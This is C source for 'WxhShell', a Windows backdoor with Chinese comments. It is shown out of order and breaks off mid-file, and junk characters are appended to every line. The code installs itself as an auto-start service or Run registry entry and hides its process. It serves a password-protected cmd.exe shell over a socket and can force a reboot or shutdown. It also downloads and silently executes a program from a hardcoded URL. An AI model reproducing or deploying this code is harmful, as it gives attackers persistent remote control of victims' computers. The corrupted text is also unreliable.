    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Wu]D pe  
    if(Boot(SHUTDOWN)) x{IxS?.j+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sns`/4S?6Z  
    else { ^ sxcBG  
    closesocket(wsh); j,")c'r&dD  
    ExitThread(0); vzVXRX  
    } f8um.Xnp6  
    break; [!E pv<G  
    } 5 3=zHYQ  
  // 获取shell 5\Sm^t|Tx  
  case 's': { MY1 1 5%  
    CmdShell(wsh); ?5d7J,"<h  
    closesocket(wsh); &UtsI@Mu  
    ExitThread(0); B>, O@og  
    break; }Z5#{Sd  
  } q~9Y&>D  
  // 退出 C<Q;3w`#1j  
  case 'x': { YK Nz[x$|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {Muw4DV  
    CloseIt(wsh); Jsf -t  
    break; .0^-a=/  
    } {U?UM  
  // 离开 l :\DC  
  case 'q': { |V#h "s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t>[K:[0U  
    closesocket(wsh); KF&1Y>t=  
    WSACleanup(); yZJR7+  
    exit(1); b= <xzvy  
    break; ^ s< p5V  
        } :_F$e  
  } _U<sz{6  
  } X2PQL"`  
\Q[u?/TF  
  // 提示信息 dQ+{Dv3A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {bB;TO<b`  
} 6X{RcX]/  
  } C]{:>= K  
rdd%"u+  
  return; V4Yw"J  
} M5DW!^  
u'"VbW3u n  
// shell模块句柄 Z3Le?cMt^  
int CmdShell(SOCKET sock)  A i`  
{ $7%e|0jC  
STARTUPINFO si; Dk&@AjJga  
ZeroMemory(&si,sizeof(si)); {L 7O{:J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X.V6v4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7I>@PV N  
PROCESS_INFORMATION ProcessInfo; 1muB* O  
char cmdline[]="cmd"; 9Tbi_6[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ys|n9pW  
  return 0; Y> }[c   
} E>xd*23+\  
0. _)X  
// 自身启动模式 Ph(bgQg  
int StartFromService(void) .H,v7L,~88  
{ 3=( Gb  
typedef struct e)I-|Q4^%  
{ uH'n.d"WG  
  DWORD ExitStatus; S+LE ASOr  
  DWORD PebBaseAddress; Lw EI   
  DWORD AffinityMask; :sD/IM",},  
  DWORD BasePriority; w-9FF%@<  
  ULONG UniqueProcessId; Q9v OY8  
  ULONG InheritedFromUniqueProcessId; md8r"  
}   PROCESS_BASIC_INFORMATION; `/en&l  
6 Fz?'Xf  
PROCNTQSIP NtQueryInformationProcess; + k1|+zzS  
4,D$% .  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 58FjzW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /(#;(]  
 c=? =u  
  HANDLE             hProcess; 7`,A]":;  
  PROCESS_BASIC_INFORMATION pbi; y^"[^+F3 .  
zqqu7.`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 35 /)S@  
  if(NULL == hInst ) return 0; 1_}* aQ  
NY.Y=CF("  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h*J=F0KM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y_bb//IAG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YcJZG|[  
>_9w4g_<  
  if (!NtQueryInformationProcess) return 0; #3!l6]  
.qBL.b_`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gt9(@USK  
  if(!hProcess) return 0; 7s#,.(s  
R0>GM`{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^{L/) Xy5  
2%0J/]n\A"  
  CloseHandle(hProcess); Eg&oAY.U  
m0I/X$-Cl5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .L;M-`^  
if(hProcess==NULL) return 0; l ;TWs_N  
6.X| . N  
HMODULE hMod; 2)O-EAn  
char procName[255]; JO*}\Es  
unsigned long cbNeeded; S!*wK-  
;| (_;d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +6cOL48"  
~j}7Fre  
  CloseHandle(hProcess); 5X2&hG*  
SJ/($3GkBd  
if(strstr(procName,"services")) return 1; // 以服务启动 i vy+e-)  
FdT@}  
  return 0; // 注册表启动 P.G`ED|K!Y  
} -oSfp23u  
x8L$T (^  
// 主模块 \>}G|yL  
int StartWxhshell(LPSTR lpCmdLine) F(j vdq  
{ zT;F4_p3G-  
  SOCKET wsl; # tN#_<W  
BOOL val=TRUE; `tmd'  
  int port=0; @.JhL[f  
  struct sockaddr_in door; +Usy  
+4<Ij/}p  
  if(wscfg.ws_autoins) Install(); lLq9)+HGN  
XJ\ j0  
port=atoi(lpCmdLine); 7#\\Ava$T  
Yh=/?&*  
if(port<=0) port=wscfg.ws_port; pq<302uBQ  
Q]9g  
  WSADATA data; sA( e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8KQD w:  
y]dA<d?u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q|Oz   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _*(n2'2B  
  door.sin_family = AF_INET; 'IR2H{Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s@Q, wa(  
  door.sin_port = htons(port); gpo+-NnG  
&y164xn'h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :BIgrz"Jz  
closesocket(wsl); %hEhZW{:  
return 1; "oZ$/ap\  
} !F@9xG  
GqYE=Q  
  if(listen(wsl,2) == INVALID_SOCKET) { a!n |/9 6  
closesocket(wsl); cjTV~(i'4A  
return 1; 1 uKWvp0\  
} @j|B1:O  
  Wxhshell(wsl); 4T]n64Yid  
  WSACleanup(); +:JyXF u  
=Zg%& J  
return 0; .{pc5eUf  
z?9vbx  
} ]z^*1^u^ig  
82mKI+9&"  
// 以NT服务方式启动 ]<9KX} B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GIo7- 6kvm  
{ ;r**`O  
DWORD   status = 0; x<mHTh:-V  
  DWORD   specificError = 0xfffffff; 3,Dc}$t  
=TTk5(m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;QRnZqSv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Pz=x$aY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z2EZ0vZ  
  serviceStatus.dwWin32ExitCode     = 0; $i:wS= w'  
  serviceStatus.dwServiceSpecificExitCode = 0; **].d;~[l  
  serviceStatus.dwCheckPoint       = 0; v>e%5[F  
  serviceStatus.dwWaitHint       = 0; 9KqN .  
=\t%U5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sYt\3/yL'  
  if (hServiceStatusHandle==0) return; V3^=Mj2"  
e@Cv')]B  
status = GetLastError(); Nb[zm|.  
  if (status!=NO_ERROR) ;w\7p a  
{ yu<'-)T.?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k^x[(gw  
    serviceStatus.dwCheckPoint       = 0; +{qX,  
    serviceStatus.dwWaitHint       = 0; CG`s@5y>5  
    serviceStatus.dwWin32ExitCode     = status; LjE@[@d  
    serviceStatus.dwServiceSpecificExitCode = specificError; >u6*P{;\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {~Q9jg(A  
    return; |^uU&O;.  
  } ?Re6oLm<B  
'aq9]D_k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l'~~hQ{h/  
  serviceStatus.dwCheckPoint       = 0; *{ =5AW}o  
  serviceStatus.dwWaitHint       = 0; mnZS](>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _tl,-}~  
} .e^AS~4pl  
QN GICG-  
// 处理NT服务事件,比如:启动、停止 li U=&wM>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3@d{C^\  
{ Ql%0%naq1  
switch(fdwControl) w6B'&  
{ 0:,8Ce  
case SERVICE_CONTROL_STOP: POnI&y]  
  serviceStatus.dwWin32ExitCode = 0; n@hf{hA[a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B@:11,.7  
  serviceStatus.dwCheckPoint   = 0; 01/?  
  serviceStatus.dwWaitHint     = 0; |Lq -vs?  
  { P ~pC /z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R5y+bMZ  
  } ))pp{X2m  
  return; {3jV ,S  
case SERVICE_CONTROL_PAUSE: Tb2Tb2C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *=6,}rX"I  
  break; isdEs k#A.  
case SERVICE_CONTROL_CONTINUE: /c`s$h4-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $IuN(#  
  break; \:ELO[(#|{  
case SERVICE_CONTROL_INTERROGATE: eX+FtN  
  break; LC!ZeW35  
}; R)%1GG4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #rE#lHo  
} K*ZH<@o4  
f/FK>oUh  
// 标准应用程序主函数 C:]&V*d.v4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) liYR8D |  
{ H%K,2/Nj  
% d%KH9u  
// 获取操作系统版本 Xv`c@n )  
OsIsNt=GetOsVer(); W?(^|<W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :+Pl~X"_  
D^ E+#a 1  
  // 从命令行安装 \F|L y >g  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?z:Xdx\l  
m&'z|eN  
  // 下载执行文件 $WOiXLyCk  
if(wscfg.ws_downexe) { 12NV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tRqg')y  
  WinExec(wscfg.ws_filenam,SW_HIDE); `kx+Kc  
} \Ty%E<  
M5SAlj  
if(!OsIsNt) { aYjFRH`  
// 如果时win9x,隐藏进程并且设置为注册表启动 G8JwY\  
HideProc(); 8gA:s`ofJ  
StartWxhshell(lpCmdLine); \Z +O9T%  
} g@&@ ]63  
else BjT0m k"P  
  if(StartFromService()) -&#H@Gyw  
  // 以服务方式启动 yM3]<~m  
  StartServiceCtrlDispatcher(DispatchTable); -PHVM=:  
else IZ2c<B5&  
  // 普通方式启动 Q~5!c#r  
  StartWxhshell(lpCmdLine); uW.)(l  
Vx]{<}(gr  
return 0; u -CCUMR  
} u>G#{$)  
DhQYjC[  
[6bK>w"v  
[*-DtbEk  
=========================================== ;tS4 h  
6 u3$ .Q  
DqLZc01>  
:Fm{U0;"  
P=)&]Pz  
w$JG:y#  
" d83K;Ryd  
W_zv"c  
#include <stdio.h> zSYh\g"  
#include <string.h> o{EWNkmj  
#include <windows.h> Kvu0Av-7  
#include <winsock2.h> *wml 4lh  
#include <winsvc.h> H3=U|wr|  
#include <urlmon.h> @:'swO/\<  
0|0<[:(hc  
#pragma comment (lib, "Ws2_32.lib") a@&^t(1  
#pragma comment (lib, "urlmon.lib") $-dz1}  
Td&w  
#define MAX_USER   100 // 最大客户端连接数 %ZF6%m0S  
#define BUF_SOCK   200 // sock buffer _)q,:g~fu  
#define KEY_BUFF   255 // 输入 buffer Pg3O )D9  
:*wnO;eN  
#define REBOOT     0   // 重启 8ODrW!o  
#define SHUTDOWN   1   // 关机 AiXxn'&i  
i,=CnZCh  
#define DEF_PORT   5000 // 监听端口 m6P!#=a:l<  
<r*A(}Y  
#define REG_LEN     16   // 注册表键长度 Bc {#ia  
#define SVC_LEN     80   // NT服务名长度 gxpGi@5  
wo;`D  
// 从dll定义API Ybr&z7# 2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); * i[^-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); anj*a<C<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9aw- n*<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6x*u S~'  
tlU&p'  
// wxhshell配置信息 dm60O8  
struct WSCFG { lx<]v^  
  int ws_port;         // 监听端口 ;!(.hCHvr  
  char ws_passstr[REG_LEN]; // 口令 >$]SYF29  
  int ws_autoins;       // 安装标记, 1=yes 0=no t:m2[U_}  
  char ws_regname[REG_LEN]; // 注册表键名 L0{ehpvM  
  char ws_svcname[REG_LEN]; // 服务名 pq`Bg`c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'l$<DcBj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (,<ti):  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z9rs,_A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no djVE x }  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,Yg<Z1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]k[y#oB  
Az2HlKF"L  
}; 3AWNoXh  
n237%LH[  
// default Wxhshell configuration L3 M]06y  
struct WSCFG wscfg={DEF_PORT, ms'!E)  
    "xuhuanlingzhe", EQ&E C  
    1, DXAA[hUjF  
    "Wxhshell", p&=F:-  
    "Wxhshell", Za{sT&(|  
            "WxhShell Service",  }SHF  
    "Wrsky Windows CmdShell Service", X*Mw0;+T  
    "Please Input Your Password: ", 9k_3=KS3N  
  1, }}v04~  
  "http://www.wrsky.com/wxhshell.exe", yi3@-  
  "Wxhshell.exe" y 1fl=i  
    }; |5SYKA7CS  
rvRtR/*?j  
// 消息定义模块 n$ye:p>`-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h3.wR]ut  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |2!/<%Yr`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F"9f6<ge  
char *msg_ws_ext="\n\rExit."; TL(L[  
char *msg_ws_end="\n\rQuit."; 9viQ<}K<  
char *msg_ws_boot="\n\rReboot..."; UA3%I8gu_  
char *msg_ws_poff="\n\rShutdown..."; VIL #q  
char *msg_ws_down="\n\rSave to "; 2~+Iu +  
x,"'\=|s*  
char *msg_ws_err="\n\rErr!"; ,R$n I*mf_  
char *msg_ws_ok="\n\rOK!"; ,L&Ka|N0  
j'i-XIs  
char ExeFile[MAX_PATH]; xz YvD{>  
int nUser = 0; @W|}|V5  
HANDLE handles[MAX_USER]; @*W,Jm3Y  
int OsIsNt; emb~l{K$  
M:h~;+s  
SERVICE_STATUS       serviceStatus; HPs$R [  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H@er"boi  
6/9 A'!4C  
// 函数声明 Ftj3`Mu  
int Install(void); &;7\/m*W1  
int Uninstall(void); }9e4?7  
int DownloadFile(char *sURL, SOCKET wsh); +u*WUw! %  
int Boot(int flag); Kd CPt!  
void HideProc(void); ( 3IM7  
int GetOsVer(void); ~DcX}VCm  
int Wxhshell(SOCKET wsl); c]O3pcU  
void TalkWithClient(void *cs); tsq]QTA*  
int CmdShell(SOCKET sock); '.oEyZA;o  
int StartFromService(void); `bO+3Y'5  
int StartWxhshell(LPSTR lpCmdLine); r: n^U#  
0Z#&!xTb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N. 3 x[%:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rixNz@p'%  
;7&RmIXKh'  
// 数据结构和表定义 @Y*ONnl  
SERVICE_TABLE_ENTRY DispatchTable[] = XbYW,a@w2  
{ RH^8"%\  
{wscfg.ws_svcname, NTServiceMain}, swuW6p  
{NULL, NULL} {$4fRxj  
}; {PGNPxUbe  
SZH,I&8  
// 自我安装 9)s=%dL  
int Install(void) E>xdJ  
{ z^S=ji U++  
  char svExeFile[MAX_PATH]; WcAX/<Y>  
  HKEY key; VWd=7  
  strcpy(svExeFile,ExeFile); /og2+!  
2@Jw?+}vr  
// 如果是win9x系统,修改注册表设为自启动 em<(wJ-Y  
if(!OsIsNt) { fZH:&EP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 95>(NwST4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q/r9r*>z  
  RegCloseKey(key); $/nU0W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4&~1|B{Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #0"Fw$Pc  
  RegCloseKey(key); Hb=4k)-/]  
  return 0; u!?.vx<qy  
    } rgdDkWLXC  
  } phwk0J]2  
} > y"V%  
else { 2#ND(  
Jj_E/c"  
// 如果是NT以上系统,安装为系统服务 IIUoB!`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); { :'#Ts<  
if (schSCManager!=0) 9a"[-B:  
{ 3|-)]^1O  
  SC_HANDLE schService = CreateService 5Q,#Co  
  ( kJq8"Klg  
  schSCManager, xq- R5(k  
  wscfg.ws_svcname, Ly/"da  
  wscfg.ws_svcdisp, ihBlP\C  
  SERVICE_ALL_ACCESS, ir-srVoXy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yYwZZa1  
  SERVICE_AUTO_START, {<o_6 z`$  
  SERVICE_ERROR_NORMAL, M%5qx,JQY  
  svExeFile, s6%%/|  
  NULL, c#|!^gjf  
  NULL, g"c\ouSY  
  NULL, q+5g+9  
  NULL, DXl3  
  NULL yt}Ve6  m  
  ); Z0s}65BR  
  if (schService!=0) zMxHJNQ\D  
  { d}j%. JJK  
  CloseServiceHandle(schService); Lqq RuKi  
  CloseServiceHandle(schSCManager); zs:O HEZw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <SGO+1zt p  
  strcat(svExeFile,wscfg.ws_svcname); NK;%c-r0v7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ozwPtF5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AX,V* s  
  RegCloseKey(key); "bZ%1)+  
  return 0; <]xGd!x$  
    } o8;>E>;  
  } N]udZhkn  
  CloseServiceHandle(schSCManager); SDt)|s  
} XFKe6:  
} 4<[,"<G~3  
:6~Nq/hZB  
return 1; 5&Al  
} $_IvzbOh  
Ndq/n21j  
// 自我卸载 PKFjM~J  
int Uninstall(void) jL o(Uf  
{ FFX-kS  
  HKEY key; Lgp{  hK  
9"hH2jc  
if(!OsIsNt) { mrWPTCD{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l\g>@b  
  RegDeleteValue(key,wscfg.ws_regname); dZ}gf}.v  
  RegCloseKey(key); z#9Tg"8]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "g27|e?y  
  RegDeleteValue(key,wscfg.ws_regname); NV\t%/ ?  
  RegCloseKey(key); HR'sMu3  
  return 0; )N$T&  
  } 8 p D$/  
} @9#l3  
} -#@l`kt  
else { S;@nPzhc  
@'n07 5)h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `|kW%L4  
if (schSCManager!=0) h;" 9.  
{ fghw\\]3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }@6Tcn1  
  if (schService!=0) 7p1f*N[X  
  { +}3l$L'bY  
  if(DeleteService(schService)!=0) { vYl2_\,Y?  
  CloseServiceHandle(schService); (|O9L s7N  
  CloseServiceHandle(schSCManager); 9r2l~zE  
  return 0; JR6r3W  
  } YoDL/  
  CloseServiceHandle(schService); h;TN$ /  
  } EKu%I~eM  
  CloseServiceHandle(schSCManager); /=5:@  
} ;Aqj$ x  
} Xz,fjKUnN  
_(7f0p  
return 1; P{m(.EC_  
} L(RI4d  
xP{)+$n  
// 从指定url下载文件 (>.l kR  
int DownloadFile(char *sURL, SOCKET wsh) <n1panS  
{ s5s'[<  
  HRESULT hr; 9{*$[%d1  
char seps[]= "/"; "ov270:  
char *token; wn-1fz <d  
char *file; _DouVv>  
char myURL[MAX_PATH]; zgNzdO/B  
char myFILE[MAX_PATH]; G!T_X*^q2U  
h0.2^vM)R  
strcpy(myURL,sURL); !i>d04u`%  
  token=strtok(myURL,seps); &J?:wC=E  
  while(token!=NULL) ;mT  
  { =h\unQ1T  
    file=token; q0C%">>1 #  
  token=strtok(NULL,seps); Fy 1- >~  
  } }]i.z:7+  
q6'Q-e)  
GetCurrentDirectory(MAX_PATH,myFILE); < k?pnBI_  
strcat(myFILE, "\\"); 1*GL;W~ix*  
strcat(myFILE, file); j-cp  
  send(wsh,myFILE,strlen(myFILE),0); ID: tTltcc  
send(wsh,"...",3,0); xp?YM35  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hmkm^2  
  if(hr==S_OK) >[2;  
return 0; 2@N9Zk{{J  
else 1}_4C0h\'  
return 1; Vk> &  
b:5-0uxjs  
} $cW t^B'  
Ht:\ z;cu  
// 系统电源模块 jF-:e;-  
int Boot(int flag) }Y^o("c(  
{ ..kFn!5(g  
  HANDLE hToken; &]h`kvtBC  
  TOKEN_PRIVILEGES tkp; G^sx/H76J  
$1$0M  
  if(OsIsNt) { {O:{F?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fK6[ p&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jOU99X\0  
    tkp.PrivilegeCount = 1; :R`e<g~4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DcNp-X40I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Fge ["p?GF  
if(flag==REBOOT) { le' Kp V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'QQq0.  
  return 0; ^Ze(WE)  
} TQu.jC  
else { {P_i5V?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !?>QN'p.b  
  return 0; wz)s  
} aAbA)'G  
  } zYP6m3 n  
  else { D>8p: ^3g  
if(flag==REBOOT) { <(@Z#%O9)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2i0;b|-=  
  return 0; gxhdxSm=2  
} Wsgp#W+  
else { gs3c1Qa3b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 064k;|>D  
  return 0; c:e3hJ  
} I-}ms  
} {_-T!yb  
v)T# iw[  
return 1; /@|iI<|  
} `<|tC#<z  
Ge/K.]>i  
// win9x进程隐藏模块 eAo+w*D(  
void HideProc(void) UOFb.FRP>  
{ OX'V  
=%<, ^2o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }LCm_av  
  if ( hKernel != NULL ) .8Bu%Sf  
  { \I:27:iAL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h]h"-3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jC_'6sc`  
    FreeLibrary(hKernel); _}Qtx/Cg  
  } U#c Gd\b  
} A+ncabm  
return; -yB}(69  
} (D%vN&F  
-N% V5 TN  
// 获取操作系统版本 \#(1IC`as  
int GetOsVer(void) \H bZ~I-  
{ AwXzI;F^  
  OSVERSIONINFO winfo; W03mdRW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {j9TzR  
  GetVersionEx(&winfo); pJvPEKN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XrM+DQ;  
  return 1; j &,Gv@  
  else i_Hm?Bi!F  
  return 0; sBB[u'h!  
} =TDKU  
W]#w4Fp!  
// 客户端句柄模块 Bkd$'7UT  
int Wxhshell(SOCKET wsl) )I[f(f%W7  
{ #<< el;n  
  SOCKET wsh; I)V=$r{  
  struct sockaddr_in client; ". tW5O>  
  DWORD myID; ns%gb!FBJX  
mP&\?  
  while(nUser<MAX_USER) E+i*u   
{ <HoCt8>U  
  int nSize=sizeof(client); : c~SH/qS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zawu(3?~)5  
  if(wsh==INVALID_SOCKET) return 1; Tk?uJIS :  
8j;Un]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r@3-vLI!u  
if(handles[nUser]==0) h40;Q<D  
  closesocket(wsh); 6&os`!  
else {ogBoDS  
  nUser++; uVUU1@  
  } a*y9@RC}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .qSDe+A  
3/`BK{  
  return 0; gSwV:hm  
} -}%J3j|R:  
7. <jdp  
// 关闭 socket L]H'$~xx*  
void CloseIt(SOCKET wsh) 6?F88;L  
{ 3<&:av3  
closesocket(wsh); ?9()ya-TE  
nUser--; RG{T\9]n  
ExitThread(0); `.MZ,Xhqi"  
} OP1` !P y  
d5l42^Z  
// 客户端请求句柄 6^gp /{  
void TalkWithClient(void *cs) S/XU4i:aV  
{ =@Oo3*>  
F,Q;sq  
  SOCKET wsh=(SOCKET)cs; Qp:I[:Lr;  
  char pwd[SVC_LEN]; 8TFQ%jv  
  char cmd[KEY_BUFF]; $XhMI;h  
char chr[1]; pq{`WgA^  
int i,j; `[sFh%:  
ie6 c/5  
  while (nUser < MAX_USER) { %XG m\p  
Q]K` p(  
if(wscfg.ws_passstr) { ZRxOXt&;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W<)P@_+-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8:{id>Mm^  
  //ZeroMemory(pwd,KEY_BUFF); I1fpX |  
      i=0; F"] P|   
  while(i<SVC_LEN) { +]%S}<R  
\C3I6Qx  
  // 设置超时 2%pED xui  
  fd_set FdRead; P$obID  
  struct timeval TimeOut; mU #F>  
  FD_ZERO(&FdRead); n4k q=Z%  
  FD_SET(wsh,&FdRead); x]c8?H9,&  
  TimeOut.tv_sec=8; >R F|Q  
  TimeOut.tv_usec=0; Q~ U\f$N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v1:.t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yNns6  
.H)H9cmf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l53i {o  
  pwd=chr[0]; jo:Z  
  if(chr[0]==0xd || chr[0]==0xa) { %4*c/ c6  
  pwd=0; 5%Qxx\q  
  break; bTD?uX!^@  
  } z+"$G  
  i++; d)AYY}pw  
    } C^ )Imr  
)s $]+HQs  
  // 如果是非法用户,关闭 socket 0zr27ko  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^~H}N$W"-q  
} a4,V(Hlm  
E'LI0fr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); huC{SzXM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *E/Bfp1LIe  
K}l3t2uk  
while(1) { 4eHSAN"$  
|o5eG><  
  ZeroMemory(cmd,KEY_BUFF); ETHcZ  
Ixxs(  
      // 自动支持客户端 telnet标准   TWRP|i!i  
  j=0; sq'm)g  
  while(j<KEY_BUFF) { ZexC3LD"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 64/ZfXD  
  cmd[j]=chr[0]; Y7t#)?  
  if(chr[0]==0xa || chr[0]==0xd) { 3:WqUb\QK  
  cmd[j]=0; cu/"=]D  
  break; uFWA] ":is  
  } ZsP^<  
  j++; layxtECP(  
    } c]9gf\WW  
KR?;7*qF  
  // 下载文件 *wTX  
  if(strstr(cmd,"http://")) { Nn05me"X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O\=Z;}<N  
  if(DownloadFile(cmd,wsh)) =z# trQ{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X/4CXtX^  
  else ^)dsi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *u$aItx  
  } lju5+0BSb  
  else { MJ:c";KCq0  
{ I{ 0rV  
    switch(cmd[0]) { v<1@"9EH  
  >6C\T@{lJ  
  // 帮助 Oa/^A-'Q  
  case '?': { N?@^BZ  
